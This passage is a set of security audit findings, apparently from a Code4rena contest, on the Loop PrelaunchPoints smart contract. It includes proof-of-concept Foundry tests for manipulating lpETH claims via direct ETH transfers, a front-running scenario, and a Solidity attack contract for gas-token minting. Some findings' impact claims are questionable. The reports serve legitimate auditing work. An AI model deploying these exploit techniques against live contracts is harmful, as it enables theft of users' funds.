It deposits the ETH balance of the contract to the receiver, assuming that there is no ETH left in the contract after the convertAllETH() function is called. This sabotages the whole idea of the locking mechanism, making it easy for users to trick the system

Tools Used

Manual review

Recommended Mitigation

return the boughtETHAmount from _fillQuote function and deposit it, instead of depositing the ETH balance of the contract

Assessed type

Other

User can manipulate locking mechanism by locking small amount of wrapped `LRT` then send the rest of the ethers at the claim date

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L262-L263

Vulnerability details

Summary

The Prelaunch Points system will lock fund of the users for at least
7 days after the authorized owner of the smart contract set
the lpETH via setLoopAddresses() function. Within that period,
the users can withdraw their fund. If the users withdraw their
fund, they can't claim lpETH anymore. But this mechanism can be manipulated
by only locking small amount of wrapped LRT and then send the rest of
the fund (in the form of ethers) at the time the users claim the lpETH.
Within the locking and before claim period, the users can use the rest of
their fund to do something else.

Vulnerability Detail

User locks small amount of wrapped LRT. When the claim date comes,
before calling claim() function, the user sends ethers to the contract.
When the claim() function is called, all of its balance will be converted into
lpETH (including the ethers sent by the user).

https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L262-L263

Now the user has lpETH from conversion of the amount of locked wrapped LRT plus the
amount of ethers sent.

Impact

The user can manipulate locking mechanism by locking a small amount of wrapped LRT
and provide the rest of the ethers at the claim date to get lpETH.

Code Snippet

https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L262-L263

Tool used

Manual Review

Recommendation

Only deposit the amount of ethers bought from exchange when user uses wrapped LRT in order to claim lpETH.

Assessed type

Other

The absence of a zero address check when users transfer tokens in the `_validateData` function can result in the loss of user funds.

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L405-L442
https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L240-L266

Vulnerability details

Impact

When a user calls the claim function to claim their deposited ETH, the recipient in the 0x data can be any address. It is important to have a check in the validateData function to ensure that the user is not trying to send ERC20 tokens to a zero address. Failure to perform this check could result in the loss of the user's funds permanently.

Proof of Concept

The validateData function currently only verifies if the recipient is the address of this protocol or the zero address. However, in the scenario where a user calls the transfer function with the recipient as the zero address, the validateData function does not trigger a revert. It is essential to implement a check to prevent users from sending ERC20 tokens to the zero address and losing their funds.

    function _validateData(
        address _token,
        uint256 _amount,
        Exchange _exchange,
        bytes calldata _data
    ) internal view {

        // @audit only verifies if the recipient is the address of this protocol or the zero address.
        if (recipient != address(this) && recipient != address(0)) {
            revert WrongRecipient(recipient);
        }


    function _fillQuote(
        IERC20 _sellToken,
        uint256 _amount,
        bytes calldata _swapCallData
    ) internal {
        // Track our balance of the buyToken to determine how much we've bought.
        uint256 boughtETHAmount = address(this).balance;

        require(_sellToken.approve(exchangeProxy, _amount));

        // @audit user may send token to zero address
        (bool success, ) = payable(exchangeProxy).call{value: 0}(_swapCallData);

        if (!success) {
            revert SwapCallFailed();
        }

        // Use our current buyToken balance to determine how much we've bought.
        boughtETHAmount = address(this).balance - boughtETHAmount;
        emit SwappedTokens(address(_sellToken), _amount, boughtETHAmount);
    }

Tools Used

Vscode

Recommended Mitigation Steps

Add this check at the end of _validateData

++         if (selector == TRANSFORM_SELECTOR && recipient == address(0)){
++            revert WrongRecipient(recipient);
++        }

Assessed type

Invalid Validation

Reverting Withdrawal During Emergency Mode

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L291

Vulnerability details

Impact

During emergency mode, all the withdrawals are accepted

/**
     * @param _mode boolean to activate/deactivate the emergency mode
@--->     * @dev On emergency mode all withdrawals are accepted at
     */
    function setEmergencyMode(bool _mode) external onlyAuthorized {
        emergencyMode = _mode;
    }

However, users may encounter unexpected behavior when attempting to withdraw their tokens. Specifically, the withdrawal function includes a check to revert the transaction if the current timestamp is past the startClaimDate. This check remains active even during emergency mode, potentially hindering users from withdrawing their funds when they need them the most.

Proof of Concept

The withdrawal function includes the following check:

if (_token == ETH) {
    if (block.timestamp >= startClaimDate) {
        revert UseClaimInstead();
    }
}

while there is a check to bypass this check at the top as below.

if (!emergencyMode) {
            if (block.timestamp <= loopActivation) {
                revert CurrentlyNotPossible();
            }
@------>    if (block.timestamp >= startClaimDate) {
                revert NoLongerPossible();
            }
        }

it was omitted in cases where the token is ETH

Tools Used

Manual Review

Recommended Mitigation Steps

consider updating the withdrawal function to exclude the startClaimDate check when in emergency mode. Alternatively, provide clear instructions to users about the behavior of the withdrawal function during emergency mode and advise them to use alternative methods if necessary.

if (!emergencyMode && block.timestamp >= startClaimDate) {
   revert UseClaimInstead();
}

Assessed type

Invalid Validation

Race condition on `PrelaunchPoints::_claim()` allow malicious actor deposit all other user `ETH` to `lpETHVault` to get `lpETH` more than they should be

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L252-L265

Vulnerability details

Impact

User loses all ETH balance and cannot claim lpETH

Proof of Concept

PrelaunchPoints::_claim() has a function for users to claim lpETH based on the amount of ETH or other LRT's tokens that are locked. When a user only claims lpETH using the ETH they own, this does not become an issue but the issue lies when the user wants to claim lpETH using LRT's which have previously been locked.

        } else {
            uint256 userClaim = userStake * _percentage / 100;
            _validateData(_token, userClaim, _exchange, _data);
            balances[msg.sender][_token] = userStake - userClaim;

            // At this point there should not be any ETH in the contract
            // Swap token to ETH
            _fillQuote(IERC20(_token), userClaim, _data);

            // Convert swapped ETH to lpETH (1 to 1 conversion)
            claimedAmount = address(this).balance;
            lpETH.deposit{value: claimedAmount}(_receiver);
        }

When a user wants to claim lpETH with the LRT's she/he has then the steps are:

  1. User calls the claim function and enters the LRT's address
  2. Users can also set how many LRT's will be used to claim lpETH by entering a percentage value
  3. After all variables have been entered and are valid, there are two main steps that must be taken
  4. The protocol validates the data that the user enters with the _validateData() function
  5. After the data is validated, the LRT's token will be swapped for ETH according to the percentage entered by the user using the _fillQuote() function
  6. ETH proceeds from swapping LRT's tokens will be sent to the PrelaunchPoints contract
  7. To claim lpETH, then ETH is deposited with the lpETH.deposit function and the user gets lpETH according to the amount of the ETH balance in PrelaunchPoints

In Ethereum, all transactions appear on the network before being accepted. Users can see upcoming token claim. As a result, an attacker can front-run large token claim.

Exploit Scenario

  1. Alice has 100 LRT token and she call claim function to get lpETH
  2. Bob monitors transactions in the PrelaunchPoints contract and waits for the swap (LRT to ETH) to be successful
  3. Then Bob calls the claim function with as few LRT amount as possible (i.e 1 LRT) and with higher gas price, Bob's transaction will be executed first
  4. Alice transactions will revert because the ETH balance in the PrelaunchPoints contract has been deposited through a transaction made by Bob, that way Alice loses her LRT assets and doesn't get any lpETH and Bob with the little LRT capital he has gets the amount of lpETH that Alice should have

Tools Used

Manual review

Recommended Mitigation Steps

Consider adding balance check

        } else {
            uint256 userClaim = userStake * _percentage / 100;
            _validateData(_token, userClaim, _exchange, _data);
            balances[msg.sender][_token] = userStake - userClaim;

	    balanceBefore = address(this).balance;
            // At this point there should not be any ETH in the contract
            // Swap token to ETH
            _fillQuote(IERC20(_token), userClaim, _data);
            balanceAfter = address(this).balance;

            // Convert swapped ETH to lpETH (1 to 1 conversion)
            claimedAmount = balanceAfter - balanceBefore;
            if (claimedAmount != userClaim) {
	            revert BalanceNotMatch;}
            lpETH.deposit{value: claimedAmount}(_receiver);
        }

Assessed type

Other

`withdraw` can be maliciously used to mint gas tokens

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L274

Vulnerability details

Impact

Theft of user funds

Proof of Concept

withdraw allows users to withdraw their locked funds before startClaimDate and after loopActivation.For the emergencyMode is true condition, it can be called anytime.

Contract: PrelaunchPoints.sol

274:     function withdraw(address _token) external {
275:         if (!emergencyMode) {
276:             if (block.timestamp <= loopActivation) {
277:                 revert CurrentlyNotPossible();
278:             }
279:             if (block.timestamp >= startClaimDate) {
280:                 revert NoLongerPossible();
281:             }
282:         }
283:
284:         uint256 lockedAmount = balances[msg.sender][_token];
285:         balances[msg.sender][_token] = 0;
286:
287:         if (lockedAmount == 0) {
288:             revert CannotWithdrawZero();
289:         }
290:         if (_token == ETH) {
291:             if (block.timestamp >= startClaimDate){
292:                 revert UseClaimInstead();
293:             }
294:             totalSupply = totalSupply - lockedAmount;
295:
296:             (bool sent,) = msg.sender.call{value: lockedAmount}("");
297:
298:             if (!sent) {
299:                 revert FailedToSendEther();
300:             }
301:         } else {
302:             IERC20(_token).safeTransfer(msg.sender, lockedAmount);
303:         }
304:
305:         emit Withdrawn(msg.sender, _token, lockedAmount);
306:     }

If the users locked ETH and claiming is not started yet, the users who locked ETH can withdraw their ETH too.
However, at L: 296, the ETH transfer fashion is executed by callwhich creates a point to steal funds.

The concept is known as gas token minting and it works with the context of storing a variable in a malicious contract from zero to non-zero and having the refund when the malicious contract is self-destructed.

For instance, the SSTORE opcode currently costs 20000 gas when writing a non-zero value to storage. Erasing the storage costs an additional 5000 gas, but also provides a refund of 15000 gas.

So every zero to non-zero variable storing the attacker can profit 15000 gas.

Let´s assume that the attacker is well organized and has hundreds of clone contracts that work in the same fashion - just storing only one variable from zero to non-zero and self destructing after the withdraw function.

We can think it like:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.20;

import "../../src/PrelaunchPoints.sol";

contract MaliciousContract {
    PrelaunchPoints public prelaunchPoints;
    address public owner;
    address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;

    constructor(address _prelaunchPoints) {
        prelaunchPoints = PrelaunchPoints(payable(address(_prelaunchPoints)));
        owner = msg.sender;
    }

    // Function to lock ETH and then attempt to withdraw during the same transaction
    function withdrawSomeETH() public  {
        prelaunchPoints.withdraw(ETH);
    }
    function lockSomeETH(uint _amountToLock) public payable {
        prelaunchPoints.lockETH{value: _amountToLock}(bytes32(0));
    }
    // Fallback function to perform actions during reentrancy
    receive() external payable {
        // Some expensive state operations
        for (uint i = 0; i < 20; i++) {
            address dummyAddress = address(uint160(uint(keccak256(abi.encodePacked(block.timestamp, i)))));
            assembly {
                sstore(dummyAddress, dummyAddress)
            }
        }
        selfdestruct(payable(owner));  // Self-destruct to send remaining balance to the owner
    }
}

The only condition to profit from this attack is gas price should be >= (same and greater) when these malicious contracts are deployed and the attack is executed.

With 7 days time frame the attacker can extract 150_000_000 gas by 10000 attacks with a gas price of 30 gwei.
Total Theft (ETH)= (150,000,000 × 30) / 10**9

Total Theft (ETH)= 4,5 ETH

And this one is actually just to show some idea as there have been gas minting attacks historically draining CEXes.

The more insight of the issue can be found here

Tools Used

Manual Review

Recommended Mitigation Steps

We recommend applying a gas limit for the call.

Assessed type

Error

User can get as much `lpETH` as he wants with low locked amount of tokens

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L240-L266
https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L388-L392

Vulnerability details

Impact

User can get as much lpETH as he wants with low locked amount of tokens, sabotaging the whole idea of the locking mechanism

Proof of Concept

User can easily bypass the locking mechanism by locking a low amount of tokens (different than WETH). If he lock his tokens and wait for the convertAllETH function to be called he can additionally send ETH to the contract and then immediately call the claim/claimAndStake function to claim the lpETH. this is possible because of the following block of code in the _claim function:

uint256 userClaim = (userStake * _percentage) / 100;
            _validateData(_token, userClaim, _exchange, _data);
            balances[msg.sender][_token] = userStake - userClaim;

            // At this point there should not be any ETH in the contract
            // Swap token to ETH
            _fillQuote(IERC20(_token), userClaim, _data);

            // Convert swapped ETH to lpETH (1 to 1 conversion first person to claim, gets it
            claimedAmount = address(this).balance;
            lpETH.deposit{value: claimedAmount}(_receiver);

It deposits the whole ETH balance of the contract to the recipient in form of lpETH, which means that the user's token deposit and the ETH he sent right before calling the claim function are now his in the form of lpETH, which sabotages the whole idea of the locking mechanism

Tools Used

manual review

Recommended Mitigation

Just sending the ETH to the owner via receive function wont be enough, since a malicious user can transfer ETH to the contract in other ways (for example create a contract with implemented selfdestruct function). The best I can think of is to make the _fillQuote function return the boughtETHAmount variable, and then deposit that amount to the receiver like this:

_fillQuote function:

function _fillQuote(
        IERC20 _sellToken,
        uint256 _amount,
        bytes calldata _swapCallData
    ) internal returns (uint256 boughtETHAmount) {
        // Track our balance of the buyToken to determine how much we've bought.
        boughtETHAmount = address(this).balance;

        require(_sellToken.approve(exchangeProxy, _amount));

        (bool success, ) = payable(exchangeProxy).call{value: 0}(_swapCallData);
        if (!success) {
            revert SwapCallFailed();
        }

        // Use our current buyToken balance to determine how much we've bought.
        boughtETHAmount = address(this).balance - boughtETHAmount;
        emit SwappedTokens(address(_sellToken), _amount, boughtETHAmount);
    }

_claim function:

    function _claim(
        address _token,
        address _receiver,
        uint8 _percentage,
        Exchange _exchange,
        bytes calldata _data
    ) internal returns (uint256 claimedAmount) {
        uint256 userStake = balances[msg.sender][_token];
        if (userStake == 0) {
            revert NothingToClaim();
        }
        if (_token == ETH) {
            claimedAmount = userStake.mulDiv(totalLpETH, totalSupply);
            balances[msg.sender][_token] = 0;
            lpETH.safeTransfer(_receiver, claimedAmount);
        } else {
            uint256 userClaim = (userStake * _percentage) / 100;
            _validateData(_token, userClaim, _exchange, _data);
            balances[msg.sender][_token] = userStake - userClaim;

            // At this point there should not be any ETH in the contract
            // Swap token to ETH
            claimedAmount = _fillQuote(IERC20(_token), userClaim, _data);

            lpETH.deposit{value: claimedAmount}(_receiver);
        }
        emit Claimed(msg.sender, _token, claimedAmount);
    }

This way the excessive ETH will remain in the contract (as stated in the receive function natspec) and the users wont be able to bypass the locking mechanism by locking a small amount of tokens and the sending ETH to the contract

Assessed type

Other

QA Report

See the markdown file with the details of this report here.

The `_claim()` function `claimedAmount` calculations causes the `lpETH` to `ETH` conversion rate inflate and not equal 1:1

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L249
https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L262

Vulnerability details

Impact

When claimedAmount is calculated in the (_token == ETH) branch, the amount of lpETH received may be greater than the staked ETH in case there was an accidental direct deposit of ETH to the contract. The user making this transfer of ETH rightfully losses it without a way to recover, the issue is that the ETH can be considered to be lost as much as it would be when sent to a dummy address, as there is no way to recover it from the contract - you can only recover ERC20s or use the withdraw() function as a user. The excess balance causes totalLpETH to be greater than totalSupply because of the following lines in convertAllETH:

uint256 totalBalance = address(this).balance;
lpETH.deposit{value: totalBalance}(address(this));
totalLpETH = lpETH.balanceOf(address(this));

Therefore, it increases the claimedAmount for each user. This is causing the conversion rate between ETH and lpETH to not equal 1. Moreover, considering the (_token != ETH) branch, a user can _fillQuote with amount equal to userClaim, however the claimedAmount can be increased by simply sending ETH directly to the contract right before the call to claim() or claimAndStake() functions. Again, this makes the conversion to change from 1:1, because ETH sent directly to the contract is NOT accessible by anyone including the owner.

Both of these situations make the lpETH inflationary as users essentially get more lpETH for the same amount of real stake if they do what's explained above for both _claim() function token branches.

Proof of Concept

To run a PoC proving how the received lpETH is indeed increased when the user sends ETH directly to the contract right before calling claim() change the code in PrelaunchPoints0x.test.ts to the code in this gist and run the test with yarn hardhat test ./test/PrelaunchPoints0x.test.ts.

Tools Used

Manual Review, Hardhat

Recommended Mitigation Steps

To mitigate this issue consider changing the approach from push to pull, meaning that in convertAllETH the owner does not deposit all ETH to the lpETH contract. Thanks to this, totalSupply and totalLpETH variables can be removed and the user gets the appropriate amount of lpETH based on their share of the contract's balance.

Assessed type

Token-Transfer

During emergency withdraw() if the token is ERC20 then it doesn't check block.timestamp with `startClaimDate`

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L291
https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L301-L302

Vulnerability details

Impact

Proof of Concept

Tools Used

Manual review

Recommended Mitigation Steps

  • Apply a check for ERC20 token as well for withdraw()

Assessed type

Other

It's possible for an user to lock and get more lpETH even after `loopActivation` timestamp

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L262

Vulnerability details

Impact

The protocol defines that users cannot lock tokens/ETH anymore after the loopActivation time, but this breaks the rule, and can potentially affect other state variables.

Proof of Concept

For any locking operations, they all call _processLock internally:

    function _processLock(address _token, uint256 _amount, address _receiver, bytes32 _referral)
        internal
        onlyBeforeDate(loopActivation)
    {
        if (_amount == 0) {
            revert CannotLockZero();
        }
        if (_token == ETH) {
            totalSupply = totalSupply + _amount;
            balances[_receiver][ETH] += _amount;
        } else {
            if (!isTokenAllowed[_token]) {
                revert TokenNotAllowed();
            }
            IERC20(_token).safeTransferFrom(msg.sender, address(this), _amount);

            if (_token == address(WETH)) {
                WETH.withdraw(_amount);
                totalSupply = totalSupply + _amount;
                balances[_receiver][ETH] += _amount;
            } else {
                balances[_receiver][_token] += _amount;
            }
        }

        emit Locked(_receiver, _amount, _token, _referral);
    }

As we can see, this function handles the transfer of ETH and other ERC20 tokens. Also the onlyBeforeDate modifier implies this function is only supposed to be called before loopActivation timestamp.

Another timestamp is startClaimDate, this indicates when the claiming starts. In constructor, it's set to the max value of uint32, and updated when an admin comes in and calls convertAllETH to set the value to block.timestamp. This implies lpETH are ready to be claimed and distributed to whoever locked their tokens in the protocol.

In _claim function, which is called internally by both claim and claimAndStake function converts the locked assets to lpETH and deposit to the receivers:

    function _claim(address _token, address _receiver, uint8 _percentage, Exchange _exchange, bytes calldata _data)
        internal
        returns (uint256 claimedAmount)
    {
        uint256 userStake = balances[msg.sender][_token];
        if (userStake == 0) {
            revert NothingToClaim();
        }
        if (_token == ETH) {
            claimedAmount = userStake.mulDiv(totalLpETH, totalSupply);
            balances[msg.sender][_token] = 0;
            lpETH.safeTransfer(_receiver, claimedAmount);
        } else {
            uint256 userClaim = userStake * _percentage / 100;
            _validateData(_token, userClaim, _exchange, _data);
            balances[msg.sender][_token] = userStake - userClaim;

            // At this point there should not be any ETH in the contract
            // Swap token to ETH
            _fillQuote(IERC20(_token), userClaim, _data);

            // Convert swapped ETH to lpETH (1 to 1 conversion)
            claimedAmount = address(this).balance; // <=(1)
            lpETH.deposit{value: claimedAmount}(_receiver);
        }
        emit Claimed(msg.sender, _token, claimedAmount);
    }

The problem lies here. In (1), we see all ETH balance will be deposited to lpETH. Also from the comment above we know it's expected for the contract to have 0 ETH at the moment of calling such function, but in receive function, there are no restrictions on who or when ETH can be sent. This leaves a way for anyone to send ETH right before claim of lpETH, and getting more lpETH than the user has locked. This breaks the intention of locking period, and makes depositors to get more lpETH than intented. Also, in this way of getting more lpETH, totalSupply is not updated, which may also cause some problems in the protocol.

Moreover, if such action is done in claimAndStake, it may cause permanent DoS because:

    function claimAndStake(address _token, uint8 _percentage, Exchange _exchange, bytes calldata _data)
        external
        onlyAfterDate(startClaimDate)
    {
        uint256 claimedAmount = _claim(_token, address(this), _percentage, _exchange, _data);
        lpETH.approve(address(lpETHVault), claimedAmount);
        lpETHVault.stake(claimedAmount, msg.sender);

        emit StakedVault(msg.sender, claimedAmount);
    }

The claimed amount will be approved and staked, but if the staked amount is increased using the unintented way, eventually lpETH of contract will run out, making other users not being able to stake, and hence DoS.

Tools Used

Manual review.

Recommended Mitigation Steps

Only allow WETH and other approved addresses to send ETH to the contract.

Assessed type

Context

QA Report

See the markdown file with the details of this report here.

Users can break a main invariant by manipulating the exchange rate

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L321

Vulnerability details

Impact

An attacker can break the ETH/lpETH 1:1 conversion by frontrunning the owner call to convertAllETH() with a direct eth transfer.

Proof of Concept

The protocol wants to keep the lpETH to ETH conversion 1:1 up to maybe 1 wei precision, which it was clearly stated in the readme:

Users that deposit ETH/WETH get the correct amount of lpETH on claim (1 to 1 conversion)

The issue here is that any random user can donate eth directly to the contract:

    receive() external payable {}

which will get summed with the users eth when convertAllETH is called:

    function convertAllETH() external onlyAuthorized onlyBeforeDate(startClaimDate) {
        if (block.timestamp - loopActivation <= TIMELOCK) {
            revert LoopNotActivated();
        }

        // deposits all the ETH to lpETH contract. Receives lpETH back
        uint256 totalBalance = address(this).balance;
        lpETH.deposit{value: totalBalance}(address(this));

        totalLpETH = lpETH.balanceOf(address(this));

        // Claims of lpETH can start immediately after conversion.
        startClaimDate = uint32(block.timestamp);

        emit Converted(totalBalance, totalLpETH);
    }

making the totalLpETH more than the eth totalSupply and thus breaking the main invariant.

Here is a coded PoC to demonstrate the issue:

    function testBreakConversionInvariant() public {
        uint256 lockAmount = 100e18;
        address bob = makeAddr("Bob");
        address attacker = makeAddr("Attacker");

        vm.deal(bob, lockAmount);
        vm.prank(bob);
        prelaunchPoints.lockETH{value: lockAmount}(referral);

        // Set Loop Contracts and Convert to lpETH
        prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));
        vm.warp(prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1);

        // The attacker will frontrun the owner convertAllETH tx with
        // a direct eth transfer to the vault
        vm.deal(attacker, 1e16); // 0.01 = ~31 USD
        vm.prank(attacker);
        (bool success, ) = address(prelaunchPoints).call{value: 1e16}("");
        require(success);

        prelaunchPoints.convertAllETH();

        vm.warp(prelaunchPoints.startClaimDate() + 1);

        vm.prank(bob);
        prelaunchPoints.claim(ETH, 100, PrelaunchPoints.Exchange.UniswapV3, emptydata);

        uint256 balanceLpETH = prelaunchPoints.totalLpETH() * lockAmount / prelaunchPoints.totalSupply();
        assertEq(prelaunchPoints.balances(bob, ETH), 0);

        console.log("Bob lpETH balance:", lpETH.balanceOf(bob));
    }

Logs result:

Bob lpETH balance: 100010000000000000000

Test Setup:

  • Incorporate the tests in PrelaunchPointsTest
  • Execute: forge test --mc PrelaunchPointsTest --mt testBreakConversionInvariant -vvv

Tools Used

Manual review

Recommended Mitigation Steps

Consider using the totalSupply instead of address(this).balance when converting all eth to keep the ETH/lpETH conversion rate 1:1:

    function convertAllETH() external onlyAuthorized onlyBeforeDate(startClaimDate) {
        if (block.timestamp - loopActivation <= TIMELOCK) {
            revert LoopNotActivated();
        }

        lpETH.deposit{value: totalSupply}(address(this));

        totalLpETH = lpETH.balanceOf(address(this));

        // Claims of lpETH can start immediately after conversion.
        startClaimDate = uint32(block.timestamp);

        emit Converted(totalBalance, totalLpETH);
    }

Assessed type

ETH-Transfer

Proper handling of Eth in Convert all function to maintain 1:1 ratio between total supply of eth and lpeth

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L315-L329

Vulnerability details

Impact

The current implementation of converting all excess ETH to LPETH in the contract may inaccurately reflect the total supply of LPETH tokens which should match the total supply of eth.

Proof of Concept

The flawed implementation can be observed in the following code snippet:

uint256 totalBalance = address(this).balance;
lpETH.deposit{value: totalBalance}(address(this));

This code converts all excess ETH in the contract to LPETH without accurately tracking the total supply of LPETH tokens. As a result, the total supply of deposited ETH may not be synchronized with the total supply of LPETH tokens, leading to potential discrepancies.

Tools Used

Manual code analysis

Recommended Mitigation Steps

To address the issue and ensure accurate tracking of funds within the contract, the following mitigation step is recommended:

update code in function convertAllETH()

        // deposits all the ETH to lpETH contract. Receives lpETH back
        uint256 totalBalance = address(this).balance;
        lpETH.deposit{value: totalBalance}(address(this));

        totalLpETH = lpETH.balanceOf(address(this));
        if (totalLpETH - totalSupply > 0){
         excessEth = totalLpETH - totalSupply;
         totalSupply += excessEth ;// maintianing the ratio 1:1 

} 

        // Claims of lpETH can start immediately after conversion.
        startClaimDate = uint32(block.timestamp);

        emit Converted(totalBalance, totalLpETH);
    }

Assessed type

Other

Users don't claim the correct amount of `lpETH` token, violating the invariant

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L249
https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L321-L324
https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L392

Vulnerability details

Issue Description

There is an invariant that says :
Users that deposit ETH/WETH get the correct amount of lpETH on claim (1 to 1 conversion)
The protocol's invariant, which guarantees a 1:1 conversion ratio of deposited ETH to lpETH upon claim, is being violated due to the presence of the receive() function and the convertAllETH function.

    function convertAllETH() external onlyAuthorized onlyBeforeDate(startClaimDate) {
        // ...

        uint256 totalBalance = address(this).balance;
        lpETH.deposit{value: totalBalance}(address(this));

        totalLpETH = lpETH.balanceOf(address(this));

        // ...
    }

The convertAllETH function improperly calculates totalLpETH by assigning the contract's ETH balance directly to this variable, rather than ensuring accurate handling of ETH and lpETH balances. This miscalculation allows totalLpETH to be increased through the receipt of ETH without corresponding lpETH issuance, leading to a disparity between totalLpETH and totalSupply.
This all happens because of the simple math calculation in the _claim function:

function _claim(address _token, address _receiver, uint8 _percentage, Exchange _exchange, bytes calldata _data)
        internal
        returns (uint256 claimedAmount)
    {
        //...

        if (_token == ETH) {
              // Users gets more lpETH because of `totalLpETH > totalSupply`
@>            claimedAmount = userStake.mulDiv(totalLpETH, totalSupply);
            balances[msg.sender][_token] = 0;
            lpETH.safeTransfer(_receiver, claimedAmount);
        }

        // ...
}

Although users get more than they expected it broke one of the main invariants
which everything comes from a lack of ETH handling
There is another important note. the locking process also emits the Locked event for handling the points but due to this bug, it can't handle the points very well.

Impact

Users are receiving more lpETH than expected due to incorrect handling of ETH within the protocol. This violation undermines the fundamental 1:1 conversion ratio between ETH deposits and lpETH issuance, compromising protocol integrity.

Proof of Concept

add this test to the PrelaunchPointsTest.t.sol:

    function test_MainInvariantBreaksWithETHDeposit() public {
        address alice = makeAddr("alice");

        // `address(this)` could represent some users
        vm.deal(address(this), 90e18);
        prelaunchPoints.lockETH{value: 90e18}("");

        // let the alice lock her ETH
        vm.deal(alice, 10e18);
        vm.prank(alice);
        prelaunchPoints.lockETH{value: 10e18}("");
        uint256 aliceETHBalanceBefore = prelaunchPoints.balances(alice, ETH);
        assertTrue(prelaunchPoints.totalSupply() == 100e18);
        assertTrue(prelaunchPoints.totalSupply() == address(prelaunchPoints).balance);
        assertTrue(aliceETHBalanceBefore == 10e18);

        // some users (or alice) send ETH to PrelaunchPoints contract
        // Also alice gets lpETH out of Lock process
        vm.deal(alice, 20e18);
        vm.prank(alice);
        (bool sent,) = address(prelaunchPoints).call{value: 20e18}("");
        assertTrue(sent);
        assertTrue(prelaunchPoints.totalSupply() != 120e18);
        assertTrue(prelaunchPoints.totalSupply() != address(prelaunchPoints).balance);

        // let the owner convert all ETH
        prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));
        assertTrue(prelaunchPoints.loopActivation() == block.timestamp);
        vm.warp(prelaunchPoints.loopActivation() + 8 days);
        prelaunchPoints.convertAllETH();
        assertTrue(prelaunchPoints.startClaimDate() == block.timestamp);
        assertTrue(prelaunchPoints.totalLpETH() == 120e18);
        assertTrue(prelaunchPoints.totalLpETH() != prelaunchPoints.totalSupply());
        
        // alice now claims her vested lpETH. it should be 1 to 1 conversion
        // but alice gets more
        vm.warp(prelaunchPoints.startClaimDate() + 1 days);
        vm.prank(alice);
        prelaunchPoints.claim(ETH, 0, PrelaunchPoints.Exchange.UniswapV3, emptydata);
        
        // (userStake * totalLpETH) / totalSupply =
        // (10e18 * 120e18) / 100e18 = 12e18 != 10e18
        // Main Invariant Broked
        assertTrue(lpETH.balanceOf(alice) != aliceETHBalanceBefore);
    }

Tools Used

Manual Review, foundry

Recommended Mitigation Steps

There are 2 ways to mitigate this:

  1. Implement the LockETH function in the receive() function:
    receive() external payable {
+       lockETH("");
}
  1. Assign the totalSupply to the totalBalance:
function convertAllETH() external onlyAuthorized onlyBeforeDate(startClaimDate) {
        // ...

-        uint256 totalBalance = address(this).balance;
+        uint256 totalBalance = totalSupply;

        // ...
    }

Assessed type

ETH-Transfer

function `_validateData` Allows recipient to be set to zero address when ` (_exchange == Exchange.UniswapV3)`

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L439

Vulnerability details

Impact

The _validateData function which is meant to prevents fund loss by verifying swap details before execution for the recipient address to be set to the zero address when _exchange is _exchange == Exchange.UniswapV3, which could potentially allow tokens to be sent to the zero address, resulting in a loss of funds.

Proof of Concept

  1. User initiates claim with UniswapV3 as the exchange option.

  2. _validateData decodes the provided _data parameter.

  3. _validateData allows for the recipient extracted from _data to be set to zero address because of if (recipient != address(this) && recipient != address(0)) { revert WrongRecipient(recipient); }

  4. If the recipient in _data is unintentionally the zero address, tokens are sent there irretrievably during the swap.

Tools Used

manual

Recommended Mitigation Steps

   
    function _validateData(address _token, uint256 _amount, Exchange _exchange, bytes calldata _data) internal view {
        address inputToken;
        address outputToken;
        uint256 inputTokenAmount;
        address recipient;
        bytes4 selector;

        if (_exchange == Exchange.UniswapV3) {
            (inputToken, outputToken, inputTokenAmount, recipient, selector) = _decodeUniswapV3Data(_data);
            if (selector != UNI_SELECTOR) {
                revert WrongSelector(selector);
            }
            // UniswapV3Feature.sellTokenForEthToUniswapV3(encodedPath, sellAmount, minBuyAmount, recipient) requires `encodedPath` to be a Uniswap-encoded path, where the last token is WETH, and sends the NATIVE token to `recipient`
            if (outputToken != address(WETH)) {
